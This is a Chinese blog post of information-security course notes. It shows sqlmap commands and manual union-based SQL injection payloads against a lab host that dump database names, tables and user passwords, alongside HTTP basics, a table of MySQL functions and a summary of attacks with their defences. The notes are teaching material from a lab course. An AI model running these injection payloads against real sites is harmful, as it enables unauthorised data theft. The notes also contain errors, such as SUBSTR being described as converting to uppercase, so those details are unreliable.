sqlmap -u "http://172.16.12.136/inject/union.php?id=1" -D test --tables
Database: test
[3 tables]
+--------+
| person |
| users  |
| xss    |
+--------+

爆字段

sqlmap -u "http://172.16.12.136/inject/union.php?id=1" -D test -T users --columns
Table: users
[6 columns]
+----------+--------------+
| Column   | Type         |
+----------+--------------+
| address  | varchar(255) |
| email    | varchar(255) |
| id       | int(11)      |
| ip       | varchar(255) |
| password | varchar(255) |
| username | varchar(255) |
+----------+--------------+

爆数据

sqlmap -u "http://172.16.12.136/inject/union.php?id=1" -D test -T users -C username,password --dump
Database: test
Table: users
[3 entries]
+----------+-----------------------------------------+
| username | password                                |
+----------+-----------------------------------------+
| zhangsan | ahangsandemima                          |
| lisi     | lisidemima                              |
| test     | 098f6bcd4621d373cade4e832627b4f6 (test) |
+----------+-----------------------------------------+

Day5

HTTP协议

请求方法

Get	Post
GET提交的数据会放在URL之后，以?分割和传输数据，参数之间以&相连	POST方法将提交的数据放在HTTP包中的Body
提交的数据大小有限制	数据大小不限制
需要使用RequestQueryString来获取变量值	通过RequestForm获取变量值

URL

状态码

状态码	描述
1xx	请求已接收，继续处理
2xx	请求成功接收并处理
3xx	重定向
4xx	语法错误，无法请求
5xx	服务端错误

请求头

Cookie : 客户端发给服务器证明用户状态的信息

cookie名 : cookie值成对出现，以;分开

Referrer:发起新请求之前用户位于哪个页面,服务器基于此头的安全限制很容易绕过

客户端有权改掉发出请求的源页面

响应头

Set-Cookie : 服务器发给客户端的SessionID(被窃取的风险)

Content-Length : 响应body部分的字节长度

可应用于暴力破解的返回信息判断

Location : 重定向用户到另一个页面，可识别身份认证后允许访问的页面

TOP 10漏洞

SQL 注入

原理

参数用户可控
参数代入数据库查询

MYSQL

MySQL5.0之后默认存在一个information_schema的数据库，其中有schemata、tables和columns三个需要注意的表名!

schemata：存储用户创建的所有数据库的库名,其中记录数据库库名的字段为schema_name,记录数据库表名的字段为table_name！

tables:存储该用户创建的所有数据库的库名和表名，其中记录数据库库名的字段为table_schema,记录数据库表名的字段为table_name

tables:存储该用户创建的所有数据库的库名和表名和字段名，其中记录数据库库名的字段为table_schema,记录数据库表名的字段为table_name,记录数据库字段名的字段为columns_name!

判断mysql：

and exsits (select count(*) from information_schema.tables)>0

案例：

select schema_name from information_schema;
select table_name from information_schema.tables where table_schema = test;
select column_name from information_schema.columns where table_schema = test and table_name = users;

判断注入类型

id=1' id=1'' id=1';'' 判断字符型

id=1 and 1=1 id=1 and 1=2 判断整型

联合查询

判断注入类型判断为整型注入！
判断字段数id=-1 order by n，结合bp爆破字段数
判断注入位置id=-1 union select 1,1,1,1
在指定位置获取数据库id=-1 union select 1,database(),1,2
获取表名id=-1 union select 1,(select table_name from information_schema.tables where table_schema= test limit 0,1),1,2

id=-1 union select 1,(select group_concat(table_name from information_schema.tables where table_schema= 'test' )),1,2

获取字段id=-1 union select 1,(select group_concat(column_name from information_schema.columns where table_schema= 'test' and table_name='users' limit)),1,2
获取数据id=-1 union select 1,(select group_concat(username) from test.users ),3,4

Grade网站手工注入

测试链接：query.php?user=1'and 1=1# ，注入类型判断为字符型

判断列数：

原创文章，作者：小嵘源码，如若转载，请注明出处：https://www.lcpttec.com/infosafety/

技术小贴

小嵘源码

0 打赏

微信扫一扫

支付宝扫一扫

米哆全民软文推广 V1.8.3 原版出售

上一篇 2019年9月26日下午11:10

服装辅料英文外贸网站整站数据源码出售

下一篇 2019年9月28日上午4:47

技术小贴

IDA入坑指南

快捷键 Tab 汇编指令与伪代码之间切换 G 搜索地址或者符号 N 重命名 X 交叉引用 space 切换反汇编窗口(列表视图&图形视图) Ctrl+S jmp to segment Alt+t 文本搜索 ALT+B 搜索16进制 Shift + F12 搜索字符串 R/H 10进制和十六进制进行转换 Ctrl + E 查看函数模板表 shif…

小嵘源码
2019年9月30日
1.9K01
技术小贴

国外VPS购买推荐帖子：RADWEBHOSTING

国外VPS购买推荐帖子：RADWEBHOSTING，本方法由峰哥博客提供。工具：谷歌浏览器+谷歌浏览器上面的谷歌自动翻译。（谷歌翻译英文嘛，但博主英文好，是不需要翻译英文的，啊哈哈哈哈哈）活动配置如下；内存：1024MB Cpu：1 × 2.6GHz + 硬盘：20GB RAID 10 流量：1000GB IP：1个专用IPv4 IPV6：64 IPv6…

小嵘源码
2019年11月30日
1.1K01
技术小贴

关于博客站开源程序WordPress网站速度优化指导

今天，小编来给大家说说 “关于WordPress博客类网站速度优化攻略”。希望对于用wordpress开源程序来建站的小伙伴有所帮助。使用Wordpress搭建的网站普遍打开速度太慢，针于SEO来讲提升网站打开速度才能获得好的体验。如何提升Wordpress网站打开速度，让WP博客程序实现速度秒开，经过研究实践终于突破了速度这一难题。要提升Wordpre…

小嵘源码
2019年12月15日
1.9K01
技术小贴

关于BT服务器面板主题皮肤优化

下面是 “关于宝塔服务器面板主题皮肤优化“ 的效果展示图，由娜云制作。小编只是转载。小编也希望大家用得开心，用得赏心悦目，以前那老土朴素的界面真的可以换一换皮肤了。登陆界面面板首页文件管理 BTPanel 模板文件下载使用方法： 1.解压覆盖到/www/server/panel/BTPanel/ 2.进入SSH，输入bt，选择9，清空面板缓存 3.清…

小嵘源码
2019年11月23日
1.9K01
技术小贴

现今的免备案VPS服务器哪个商家的比较好呢？

现在的免备案VPS服务器哪个商家的比较好呢？这次，小编就围绕这个话题来给大家推荐一些免备案VPS主机吧，希望对于各位站长或者新手站长有所帮助。免备案VPS主机哪家最好？免费推荐国外VPS服务器产品。当今服务器厂商鱼龙混杂，网站长很难选择正确且可靠的服务器产品，尤其是免备案服务器如果不懂技巧很容易掉进垃圾服务器的坑。本文为站长们罗列并推荐国内外免备案主机服务…

小嵘源码
2019年12月15日
2.6K00
技术小贴

漏洞复现：”MS_17010 永恒之蓝”

漏洞影响 2017年5月12日起，全球范围内爆发基于Windows网络共享协议进行攻击传播的蠕虫恶意代码，这是不法分子通过改造之前泄露的NSA黑客武器库中“永恒之蓝”攻击程序发起的网络攻击事件。五个小时内，包括英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网和政府机构专网中招，被勒索支付高额赎金才能解密恢复文件，对重要数据造成严重损失。目前…

小嵘源码
2019年9月26日
2.7K09
技术小贴

关于图片优化：免费图片压缩工具下载

这次，小编给大家带来的是 ”关于图片优化：免费图片压缩工具下载“。希望对大家做SEO优化的小伙伴们有所帮助，希望能提升小伙伴们网站的打开与读取速度哈。分享一个免费图片压缩工具软件，压缩图片大小体积质量不缩水。这款名叫：瑞影无损图片压缩大师V1.4 中文汉化版压缩工具，可以无损批量压缩图片。对图片压缩有需求的朋友可以下载使用。网盘地址：h…

小嵘源码
2019年12月15日
1.8K00
技术小贴

靶机渗透之抓住阿三

学习目的 SQL注入图片马上传文件包含漏洞利用反弹Shell 权限提升靶机搭建下载链接提取码: e436 网络配置：选择默认的桥接方式即可！主机发现 ip发现 nmap -sP 192.168.43.1/24 Nmap scan report for 192.168.43.127 Host is up. 端口和服务识别 nmap -p- -A …

小嵘源码
2019年9月30日
2.6K00
技术小贴

Windows安全之账号克隆

账号策略 Windows中SID是标识用户、组和计算机账户的唯一号码。使用工具getsid.exe进行获取管理员和普通用户的sid： D:>getsid \localhost administrator \localhost guest The SID for account administrator is S-1-5-21-1016001505-…

小嵘源码
2019年9月30日
2.2K01
技术小贴

插件机器人椎名真白（博客通用版）

这次小编来介绍另外一款插件机器人：“插件机器人椎名真白（博客通用版）”。大家一起动手，把自己的博客装饰得更好看，更有趣吧。关于Live2d的插件机器人椎名真白在原先的基础上加上了如下功能：1.可以基于图灵机器人的聊天功能（需要自己写接口，默认隐藏）。2.能够随意移动并记录位置（关闭浏览器后失效）。3.能够随意唤醒或者关闭并记录状态。4.自动判断浏览器是否…

小嵘源码
2020年2月11日
2.7K15
技术小贴

Pwn入坑之栈基础(1)

内存四区代码区 .text 这个区域存储着被装入执行的二进制机器代码，处理器会到这个区域取指令执行。数据区 .data 也叫静态区(static area)，用于存储全局变量和静态变量和常量，程序结束后由系统释放。分为初始化的全局变量、静态变量、常量和未初始化的全局变量、静态变量、常量。堆区通过malloc、free或new、delete等函数动态…

小嵘源码
2019年9月30日
1.9K01
技术小贴

Linux命令

查看 uname 查看系统相关信息常用命令选项 -a：显示主机名、内核版本、硬件平台等详细信息 -r：显示内核版本示例 [root@rh-6 ~]# uname -r 2.6.32-220.el6.i686 查看CPU信息 /proc/cpuinfo 示例 [root@rh-6 ~]# cat /proc/cpuinfo processor : 0 …

小嵘源码
2019年9月30日
1.6K02

字符串函数	描述
SUBSTR(s, start, length)	将字符串转换为大写
SUBSTRING_INDEX(s, delimiter, number)	返回从字符串 s 的第 number 个出现的分隔符 delimiter 之后的子串。
UPPER(s)	将字符串转换为大写
CONCAT(s1,s2…sn)	字符串 s1,s2 等多个字符串合并为一个字符串
CONCAT_WS(x, s1,s2…sn)	同 CONCAT(s1,s2,…) 函数，但是每个字符串之间要加上 x，x 可以是分隔符
LENGTH(s1)	返回s1的长度
CHAR_LENGTH(s)	返回s的字符数

时间函数	描述
NOW()	返回当前时间:2019-07-23 12:00:00
CURDATA()	返回当前日期:2019-07-23
CURTIME()	返回当前时间:19:53:02
WEEK(DATE)	返回日期中的周
YEAR(DATE)	返回日期中的年
DATE_FORMAT(S,pattern)	格式化日期
DATEDIFF(d1,d2)	返回相差天数
DATE_ADD(d,INTERVAL Y TYPE)	给当前日期加上指定类型的Y值
TO_DAYS(date)	计算date举例2000/0/0/0的天数
YEAR() / MONTH()	返回年份 / 月份
LAST_DAY(d)	返回给定日期的月份的最后一天

攻击技术	攻击思路	防御思路
`SQL注入`	`构造恶意sql语句以获取数据库信息及后续操作`	`将sql查询语句做严格过滤与白名单限制，限制数据库用户的权限等`
`XSS`	`操纵前端可控的js脚本，执行恶意代码`	`目前最好的修复方案：通过白名单机制，限制js的使用`
`CSRF`	`伪造页面，以登陆用户的权限执行恶意操作`	`使用跨域验证或Token校验等`
`RCE`	`基于服务端代码的限制不严，使得数据以代码的方式执行执行`	`输入数据严格过滤或白名单处理`
`LFI`	`基于include等文件包含函数的特点，包含指定系统文件或上传脚本`	`使用include包含文件做白名单限制即可`
`文件上传`	`一般基于源码审计，找到方法绕过文件上传限制，提交恶意脚本，常配合文件包含攻击`	`针对用户级别指定安全限制，高保密用户使用白名单，其他用户禁止上传脚本文件以及对常见绕过方法做过滤处理`
`缓冲区溢出`	`基于系统和二进制的攻击，流程为逆向分析，漏洞发现，漏洞利用`	`及时安装各大厂商软件或系统的修复补丁`

信息安全实验

Day1

开班总结

团队

课程计划

大佬闲谈

网络配置

VIM常用操作

文件查看命令ls

进程类命令

ps

kill

提权思路

蜜罐

Web渗透思路

WIFI密码破解思路

Day2

Linux为啥要学

虚拟化闲谈

虚拟化技术

虚拟化软件

参考链接

虚拟机使用闲谈

Centos基础

目录结构

文件及目录命令

ls

pwd

cd

su

mkdir

touch

rm

mv

cp

查看文件目录命令

cat

head

tail

more

less

查找命令

find

grep

通配符

特殊符号

文件权限

chmod

chown

ACL

sbit

sgid

suid

用户与组管理

useradd

passwd

userdel

usermod

groupadd

gpasswd

groupdel

任务

任务内容

新建用户和组

更改文件夹属组

文件夹权限设置

设置文件删除权限

设置读写文件权限

切换用户读访问测试

文件删除测试

文件权限设置

超级管理员xmj1权限设置

Day3

搭建LAMP

发布网站

效果图

使用Tomcat搭建网站

安装JDK

安装Maven

安装git